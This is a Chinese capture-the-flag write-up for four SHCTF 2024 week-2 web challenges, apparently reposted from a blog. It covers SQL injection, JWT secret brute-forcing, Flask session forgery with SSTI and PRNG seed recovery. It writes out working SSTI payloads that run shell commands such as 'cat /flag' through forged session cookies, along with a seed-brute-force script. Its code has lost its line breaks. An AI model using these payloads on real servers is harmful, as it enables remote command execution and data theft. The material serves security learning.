SHCTF-2024-week2-wp(web)

2024/10/23 19:55:05 来源：https://blog.csdn.net/star3119391396/article/details/143093754 浏览: 次关键词：SHCTF-2024-week2-wp(web)

SHCTF-2024-week2-wp

web

[Week2]自助查询

考点：sql注入

看到查询语句,直接sql注入

说明只有两列

查看当前数据库

查看’ctf’数据库下面的表

查看’flag’下的字段

查看’scretddata’的内容

根据提示，说明在注释里面

找到flag

SHCTF{5elf_s3RvICe_SEARch_334c747eabdf}

[Week2]登录验证

考点：jwt密钥爆破

进行密码爆破，爆破出密码为admin（账号不是admin会提示不是admin，密码不是admin会提示密码错误）
抓包查看,发现有token

进行jwt密钥爆破，得到密钥为222333

使用密钥加密，把role改成admin，然后替换token发包就能拿到flag
SHCTF{YOu_veRI1lED_Y0U_aRe_yoU_91792c83a742}

[Week2]入侵者禁入

考点：session伪造+SSTI模板注入

分析这段代码，知道Flask的secret.key，想到Flask_session伪造

render_template_string()函数想到SSTI漏洞。

使用flask_session_cookie_manager工具构造payload

python flask_session_cookie_manager3.py decode -c "eyJyb2xlIjp7ImZsYWciOiJ5b3VyX2ZsYWdfaGVyZSIsImlzX2FkbWluIjowfX0.ZvZ8IQ.B9Q1a7gFQvzs4Q3bGldXuiGHULg" -s "0day_joker"python flask_session_cookie_manager3.py encode -s "0day_joker" -t "{'role': {'flag': '{{lipsum.globals["os"].popen("ls").read()}}', 'is_admin': 1}}"python flask_session_cookie_manager3.py encode -s "0day_joker" -t "{'role': {'flag': '{{lipsum.globals["os"].popen("ls /").read()}}', 'is_admin': 1}}"python flask_session_cookie_manager3.py encode -s "0day_joker" -t "{'role': {'flag': '{{lipsum.globals["os"].popen("cat /flag").read()}}', 'is_admin': 1}}"

修改session就能拿到flag。

[Week2]guess_the_number

考点：随机数

在伪随机数生成器（PRNG）中，一个种子并不只生成一个随机数。相反，它生成的是一个伪随机数序列。每次调用 random.randint() 或其他类似方法时，伪随机数生成器会根据当前的内部状态生成下一个随机数。因此，给定相同的种子，可以生成一系列相同的随机数

访问 /s0urce下载源码

import flask
import random
from flask import Flask, request, render_template, send_fileapp = Flask(__name__)@app.route('/')
def index():return render_template('index.html', first_num = first_num)  @app.route('/s0urce')
def get_source():file_path = "app.py"return send_file(file_path, as_attachment=True)@app.route('/first')
def get_first_number():return str(first_num)@app.route('/guess')
def verify_seed():num = request.args.get('num')if num == str(second_num):with open("/flag", "r") as file:return file.read()return "nonono"def init():global seed, first_num, second_numseed = random.randint(1000000,9999999)random.seed(seed)first_num = random.randint(1000000000,9999999999)second_num = random.randint(1000000000,9999999999)init()
app.run(debug=True)

分析可知，生成一个随机数，让我们预测下一个随机数。

在伪随机数生成器（PRNG）中，一个种子并不只生成一个随机数。相反，它生成的是一个伪随机数序列。每次调用 random.randint() 或其他类似方法时，伪随机数生成器会根据当前的内部状态生成下一个随机数。因此，给定相同的种子，可以生成一系列相同的随机数

所以可以使用脚本找到种子，然后就能预测下一个随机数

import random# 已知的 first_num
known_first_num = 6296819177# 定义种子的范围
seed_min = 1000000
seed_max = 9999999def find_seed(known_first_num, seed_min, seed_max):for seed in range(seed_min, seed_max + 1):# 用当前种子设置随机数生成器random.seed(seed)# 生成一个随机数first_num = random.randint(1000000000, 9999999999)# 检查生成的随机数是否与已知的相同if first_num == known_first_num:print(f"找到了种子: {seed}")return seedprint("未找到匹配的种子")return None# 调用函数查找种子
found_seed = find_seed(known_first_num, seed_min, seed_max)